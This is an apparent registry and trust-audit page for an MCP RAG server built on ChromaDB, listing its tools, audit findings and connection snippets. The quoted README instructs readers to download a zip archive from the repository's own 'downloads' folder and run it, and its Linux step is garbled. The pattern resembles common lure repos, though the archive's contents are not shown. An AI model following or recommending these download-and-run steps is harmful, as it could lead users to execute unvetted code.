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MCP-rag-with-ChromadbCAUTION

mcp/rexnzm/mcp-rag-with-chromadb

🗂️ Build a versatile MCP server with RAG capabilities, supporting multiple document formats using LangChain and ChromaDB for efficient data retrieval.

Verdict
CAUTION
Grade
B
Trust score
87 /100
Exposed tools
6 5r · 0w · 1d
Transport
stdio
License
MIT
Stars
3
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip)

📖 Overview

MCP-rag-with-Chromadb is a user-friendly application that allows you to utilize the Model Context Protocol (MCP) server for Retrieval-Augmented Generation (RAG). It supports multiple document formats and integrates seamlessly with LangChain and ChromaDB. Whether you want to enhance your search capabilities or streamline document handling, this application provides solid features without the technical fuss.

🚀 Getting Started

Follow these simple steps to get up and running with MCP-rag-with-Chromadb.

  1. Download the Application:

Visit the Releases page to find the latest version of MCP-rag-with-Chromadb.

  1. Choose the Right File:

On the Releases page, locate the file that matches your system. Look for options labeled for Windows, macOS, or Linux.

  1. Installation Steps:
  2. For Windows:
  3. Once you download the .exe file, double-click to run it.
  4. Follow the on-screen prompts to complete the installation.
  5. For macOS:
  6. After downloading the .dmg file, open it.
  7. Drag the MCP-rag-with-Chromadb application to your Applications folder.
  8. For Linux:
  9. Download the https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip file.
  10. Extract it to your desired location with the command tar -xvzf https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip.
  11. Navigate to the extracted folder and run the application using the command `./MCP-r
Read from source at commit 54f651c586f6OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add 6-mcp-rag-with-langchain --env OPENAI_API_KEY=${OPENAI_API_KEY} -- uvx 6-mcp-rag-with-langchain
claude-desktop
{
  "mcpServers": {
    "6-mcp-rag-with-langchain": {
      "command": "uvx",
      "args": [
        "6-mcp-rag-with-langchain"
      ],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    }
  }
}
03

Exposed tools (6)

5 read · 0 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
check_ollamaread
clear_dbdestructive
db_inforead
ingest_documentread
ingest_pdfread
retrieveread
04

Trust audit

CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (2 observation(s))
Network
declared (3 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (12)

MEDIUMInventory / provenance · inv.binary · CWE-1104
chroma_db/9bc6d97a-39a1-40bb-8902-2b4cb90beddf/data_level0.bin
data_level0.bin
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
chroma_db/9bc6d97a-39a1-40bb-8902-2b4cb90beddf/header.bin
header.bin
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
chroma_db/9bc6d97a-39a1-40bb-8902-2b4cb90beddf/length.bin
length.bin
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
chroma_db/9bc6d97a-39a1-40bb-8902-2b4cb90beddf/link_lists.bin
link_lists.bin
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
documents/CV_CyprianFusi_20251130.docx
CV_CyprianFusi_20251130.docx
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
clear_db
Why it matters. 1 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
requirements.txt
langchain-chroma, langchain-core, langchain-text-splitters, requests, fastmcp, PyPDF2, python-docx, beautifulsoup4
Why it matters. 13 requirement(s) not pinned with ==
Fix. pin exact versions
INFOInventory / provenance · inv.oversize · CWE-1104
assets/binati_logo.png
assets/binati_logo.png
Why it matters. 1107331 bytes not read
INFOInventory / provenance · inv.oversize · CWE-1104
chroma_db/chroma.sqlite3
chroma_db/chroma.sqlite3
Why it matters. 4038656 bytes not read
INFOInventory / provenance · inv.oversize · CWE-1104
documents/AI_Playbook_for_the_UK_Government__12_02_.pdf
documents/AI_Playbook_for_the_UK_Government__12_02_.pdf
Why it matters. 2447202 bytes not read
INFOInventory / provenance · inv.oversize · CWE-1104
documents/MC-rag-Chromadb-with-v2.7.zip
documents/MC-rag-Chromadb-with-v2.7.zip
Why it matters. 1394781 bytes not read
INFOInventory / provenance · inv.oversize · CWE-1104
downloads/IIAG_Comprehensive_Report_2023_v02.docx
downloads/IIAG_Comprehensive_Report_2023_v02.docx
Why it matters. 2944981 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 54f651c586f6full audit observations/trust-audit/mcp-server/rexnzm__mcp-rag-with-chromadb.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1154f651c586f6CAUTIONB87first audit
06

Questions

What is the MCP-rag-with-Chromadb MCP server?

🗂️ Build a versatile MCP server with RAG capabilities, supporting multiple document formats using LangChain and ChromaDB for efficient data retrieval.

What tools does MCP-rag-with-Chromadb expose?

6 in total: 5 read-only, 0 that write, and 1 that can delete or overwrite (clear_db). Every one is listed on this page with its risk.

Is MCP-rag-with-Chromadb safe to connect to an agent?

With care. The audit graded it B (87/100) and found 12 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does MCP-rag-with-Chromadb need?

It reads OPENAI_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does MCP-rag-with-Chromadb run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as 6-mcp-rag-with-langchain.

How current is this page?

The grade is for one exact copy of the source (54f651c586f6), read on 2026-10-11. The repository is watched and re-audited when it changes.

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